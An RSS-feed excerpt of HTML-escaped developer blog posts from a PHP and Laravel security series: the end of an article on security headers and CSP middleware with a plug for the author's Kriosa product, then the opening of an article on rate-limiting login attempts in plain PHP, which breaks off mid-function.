&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Register it — Laravel 11 and later:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// bootstrap/app.php&lt;/span&gt;
&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;withMiddleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Middleware&lt;/span&gt; &lt;span class="nv"&gt;$middleware&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$middleware&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;\App\Http\Middleware\SecurityHeaders&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Laravel 10 and earlier:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Http/Kernel.php&lt;/span&gt;
&lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$middleware&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nc"&gt;\App\Http\Middleware\SecurityHeaders&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Make CSP configurable:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// config/security.php&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'csp'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'CSP_POLICY'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;implode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'; '&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"default-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"script-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"style-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"img-src 'self' data:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"font-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"base-uri 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"form-action 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"object-src 'none'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"frame-ancestors 'none'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;])),&lt;/span&gt;
    &lt;span class="s1"&gt;'hsts'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ENABLE_HSTS'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;API routes and security headers:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Do not exclude API routes from security headers automatically. Decide which headers are meaningful for each response type. &lt;code&gt;X-Frame-Options&lt;/code&gt; and &lt;code&gt;frame-ancestors&lt;/code&gt; have limited relevance for JSON API responses — &lt;code&gt;X-Content-Type-Options&lt;/code&gt; and CSP remain valuable for all response types.&lt;/p&gt;

&lt;h2&gt;
  
  
  Testing Your Security Headers
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;securityheaders.com&lt;/strong&gt; — shows which headers are present and what is missing&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mozilla Observatory&lt;/strong&gt; at observatory.mozilla.org — comprehensive security scan&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Browser DevTools&lt;/strong&gt; — Network tab, select any request, Headers section&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A high scanner score does not prove your application is secure. Headers cannot replace secure authentication, authorization, input validation, output encoding, dependency management, or server configuration. Use scanner scores as a signal — not as evidence of security.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Security Headers Checklist
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;For plain PHP:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Call your security headers function before any output&lt;/li&gt;
&lt;li&gt;Use a front controller or web server config to ensure every response gets headers&lt;/li&gt;
&lt;li&gt;Start CSP in report-only mode before enforcing&lt;/li&gt;
&lt;li&gt;Enable HSTS only after confirming all subdomains are HTTPS&lt;/li&gt;
&lt;li&gt;Avoid &lt;code&gt;'unsafe-inline'&lt;/code&gt; in CSP — use nonces or hashes for inline scripts&lt;/li&gt;
&lt;li&gt;Do not add &lt;code&gt;X-XSS-Protection&lt;/code&gt; — it is deprecated&lt;/li&gt;
&lt;li&gt;Test with securityheaders.com as a baseline check after deployment&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For Laravel:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create a global middleware that runs on every request&lt;/li&gt;
&lt;li&gt;Register it in the global middleware stack&lt;/li&gt;
&lt;li&gt;Make CSP configurable through environment variables&lt;/li&gt;
&lt;li&gt;Decide per response type which headers are relevant — do not exclude API routes automatically&lt;/li&gt;
&lt;li&gt;Enable HSTS only in production where all subdomains are HTTPS&lt;/li&gt;
&lt;li&gt;Avoid &lt;code&gt;'unsafe-inline'&lt;/code&gt; in CSP&lt;/li&gt;
&lt;li&gt;Do not add &lt;code&gt;X-XSS-Protection&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Use scanner scores as signals not as proof of security&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Where Kriosa Fits
&lt;/h2&gt;

&lt;p&gt;Security headers protect the browser after a response is generated. They are a browser-enforcement layer.&lt;/p&gt;

&lt;p&gt;Kriosa operates at a different layer entirely.&lt;/p&gt;

&lt;p&gt;Kriosa analyzes incoming requests for suspicious reconnaissance and attack patterns — automated scanning, repeated probing, malicious payloads, and other behavioral signals that appear before or alongside an attempted exploit. These request patterns are surfaced in the XAI dashboard with an explanation of what was detected and why it was flagged.&lt;/p&gt;

&lt;p&gt;The two controls solve different problems. Security headers harden how the browser handles your responses. Kriosa monitors what is happening at the request layer before a response is ever generated.&lt;/p&gt;

&lt;p&gt;Production PHP applications are already running with Kriosa in front of them.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://prooflify.freedev.app" rel="noopener noreferrer"&gt;Prolify&lt;/a&gt; — a design-proofing platform where designers share work with clients for review and approval. Every session is a trust boundary. A compromised login means a client’s unreleased creative work is exposed to the wrong person.&lt;br&gt;
&lt;a href="https://bellefull.kesug.com" rel="noopener noreferrer"&gt;&lt;br&gt;
belle-full&lt;/a&gt; — a PHP application built for bakers, handling real customer orders and business data. Secured with Kriosa from day one not retrofitted after a scare, built with protection as a foundation.&lt;br&gt;
Try it free: &lt;strong&gt;kriosa.com&lt;/strong&gt;&lt;br&gt;
Install it: &lt;code&gt;composer require kriosa-ai/kriosa-php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Documentation: &lt;a href="https://kriosa.com/documentation.php" rel="noopener noreferrer"&gt;kriosa Docs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;The Series So Far&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt; &lt;a href="https://kriosa.com/post.php?slug=php-logs-sql-injection-attack-6a5fa71fd80b8" rel="noopener noreferrer"&gt; Article 1 &lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=url-encoding-breaks-php-security-checks" rel="noopener noreferrer"&gt; Article 2 &lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=decode-bomb-url-decoding-vulnerability" rel="noopener noreferrer"&gt; Article 3 &lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=parameterized-queries-sql-injection-prevention" rel="noopener noreferrer"&gt; Article 4 &lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;Article 5: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;Article 6: How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;Article 7: File upload security in PHP and Laravel&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=path-traversal-php-directory-escape" rel="noopener noreferrer"&gt;Article 8 &lt;/a&gt;: Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=command-injection-php-exec-attack-surface" rel="noopener noreferrer"&gt; Article 9 &lt;/a&gt;: Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=broken-access-control-laravel" rel="noopener noreferrer"&gt; Article 10&lt;/a&gt;: Broken access control in Laravel — why being logged in is not enough &lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=secrets-management-laravel-env" rel="noopener noreferrer"&gt; Article 11&lt;/a&gt;: Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=session-security-php-developers-get-wrong" rel="noopener noreferrer"&gt; Article 12&lt;/a&gt;: Session security in PHP — what most developers get wrong&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=rate-limiting-laravel-php-brute-force" rel="noopener noreferrer"&gt; Article 13 &lt;/a&gt;: Rate limiting in Laravel and PHP — how to stop brute force before it starts&lt;/li&gt;
&lt;li&gt;Article 14: This article — security headers in PHP and Laravel&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>php</category>
      <category>webdev</category>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Rate Limiting in Laravel and PHP — How to Stop Brute Force Before It Starts</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Fri, 14 Aug 2026 07:00:00 +0000</pubDate>
      <link>https://dev.to/kriosa/rate-limiting-in-laravel-and-php-how-to-stop-brute-force-before-it-starts-4241</link>
      <guid>https://dev.to/kriosa/rate-limiting-in-laravel-and-php-how-to-stop-brute-force-before-it-starts-4241</guid>
      <description>&lt;p&gt;&lt;strong&gt;ORIGINALLY PUBLISHED ON MEDIUM&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the thirteenth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;File upload security — the file that isn't what it claims to be&lt;/li&gt;
&lt;li&gt;Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;li&gt;Session security in PHP — what most developers get wrong&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle: understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Brute force attacks are not sophisticated. They do not require exploiting a vulnerability in your code. They require only that your application accepts unlimited login attempts and most PHP applications do.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Brute Force Actually Is
&lt;/h2&gt;

&lt;p&gt;A brute force attack is when an attacker tries many passwords against a login form hoping one works. Modern brute force attacks are fully automated. A script sends login requests as fast as your server will accept them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Simple brute force&lt;/strong&gt; tries every possible password combination. Slow but exhaustive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dictionary attacks&lt;/strong&gt; try a list of common passwords &lt;code&gt;password123&lt;/code&gt;, &lt;code&gt;qwerty&lt;/code&gt;, &lt;code&gt;admin&lt;/code&gt;, &lt;code&gt;letmein&lt;/code&gt;. Fast and effective because most users choose predictable passwords.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credential stuffing&lt;/strong&gt; uses username and password combinations leaked from other breached websites. If a user reused their password from a previously breached service the attacker gets in immediately without guessing anything. This is the most effective modern login attack because it exploits human behavior rather than application weaknesses.&lt;/p&gt;

&lt;p&gt;All three share one characteristic they require many requests. Rate limiting makes all three significantly harder.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rate Limiting in Plain PHP
&lt;/h2&gt;

&lt;p&gt;PHP has no built-in rate limiting. You implement it using a storage mechanism to track attempts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Session-based — for demonstration only:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;checkRateLimit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$maxAttempts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$windowSeconds&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'login_attempts'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$windowKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'login_window_start'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$windowKey&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$now&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$windowKey&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$windowSeconds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$windowKey&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$now&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="nv"&gt;$maxAttempts&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;checkRateLimit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Retry-After: 60'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Too many attempts. Please try again in 60 seconds.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Session-based rate limiting is not meaningful brute-force protection. An attacker can create or discard sessions repeatedly to reset the counter. Automated tools that do not maintain sessions bypass it entirely. Use it only as a demonstration not as real protection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Database-based — reliable for moderate traffic:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Required table&lt;/span&gt;
&lt;span class="c1"&gt;// CREATE TABLE login_attempts (&lt;/span&gt;
&lt;span class="c1"&gt;//     id INT AUTO_INCREMENT PRIMARY KEY,&lt;/span&gt;
&lt;span class="c1"&gt;//     identifier VARCHAR(255) NOT NULL,&lt;/span&gt;
&lt;span class="c1"&gt;//     attempted_at INT NOT NULL,&lt;/span&gt;
&lt;span class="c1"&gt;//     INDEX idx_identifier_time (identifier, attempted_at)&lt;/span&gt;
&lt;span class="c1"&gt;// );&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;checkRateLimitDb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="kt"&gt;PDO&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$identifier&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$maxAttempts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$windowSeconds&lt;/span&gt;
&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nv"&gt;$windowStart&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$now&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nv"&gt;$windowSeconds&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'
        SELECT COUNT(*)
        FROM login_attempts
        WHERE identifier = ?
        AND attempted_at &amp;gt; ?
    '&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$identifier&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$windowStart&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nv"&gt;$count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetchColumn&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$count&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nv"&gt;$maxAttempts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'
        INSERT INTO login_attempts (identifier, attempted_at)
        VALUES (?, ?)
    '&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$identifier&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$now&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'REMOTE_ADDR'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;'0.0.0.0'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;checkRateLimitDb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login:ip:'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Retry-After: 60'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Too many login attempts. Please try again in 60 seconds.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Redis-based — the production standard:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;checkRateLimitRedis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="kt"&gt;Redis&lt;/span&gt; &lt;span class="nv"&gt;$redis&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$identifier&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$maxAttempts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$windowSeconds&lt;/span&gt;
